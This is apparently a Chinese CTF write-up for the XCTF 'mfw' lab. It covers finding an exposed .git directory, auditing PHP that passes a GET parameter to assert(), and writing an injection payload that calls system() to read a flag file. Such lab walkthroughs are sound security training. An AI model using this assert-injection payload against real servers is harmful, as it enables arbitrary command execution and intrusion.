前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >基于mfw靶场实战的注入渗透

基于mfw靶场实战的注入渗透

作者头像
网e渗透安全部
发布2023-02-25 13:45:58
2040
发布2023-02-25 13:45:58
举报
文章被收录于专栏:白安全组白安全组

前言:

本来想写一篇关于代码审计方面的,但是考虑到新手很多,所以我想了想还是发一篇关于靶场的文章,这里有一小部分的代码审计,也算是一个小的实战环境了,因为这里也涉及到一些小的知识点,大家可以去靶场练练手。

基于以下靶场:

代码语言:javascript
复制
https://adworld.xctf.org.cn/challenges/details?hash=52595c4f-b564-4c87-a2fa-390e2529b5b4_2&task_category_id=3

解题思路,遇到陌生的一个网站,我们首要的是搜集一些信息,我们可以先着手收集一些明面上的信息,比如我们可以扫描一下网站目录。

这里通过扫描网站目录我们可以发现有一个/.git的目录,这个目录我们根据经验了解 git目录是程序员合作项目遗留

我们这里可以利用一个工具将其全部下载下来,当然我们也可以通过手动一个个下载下来。

这里我利用工具下载了这里面的源码,然后我们可以进行一小波代码审计

代码语言:javascript
复制
<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

首先这里通过page利用get方式传入一个值,这个值需要与page相等,否则赋值home哥page

然后我们发现下面的file变量会将我们传递进去的参数加上php后缀放入到目录中

然后我们继续往下读,这里发现使用了assert函数,这里就和我们的一句话木马有点相似了啊。

我们的file变量会被带入到这一句中,那么我们就可以进行一个闭合没用的,插入我们想要执行的函数进去了

代码语言:javascript
复制
assert("strpos('$file', '..') === false")

我们想办法让这里闭合

代码语言:javascript
复制
'.system("cat ./templates/flag.php").'

这样构造之后,让前后闭合,同时可以执行中间的语句

出来之后我们查看网站源码

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2023-01-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 白安全组 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档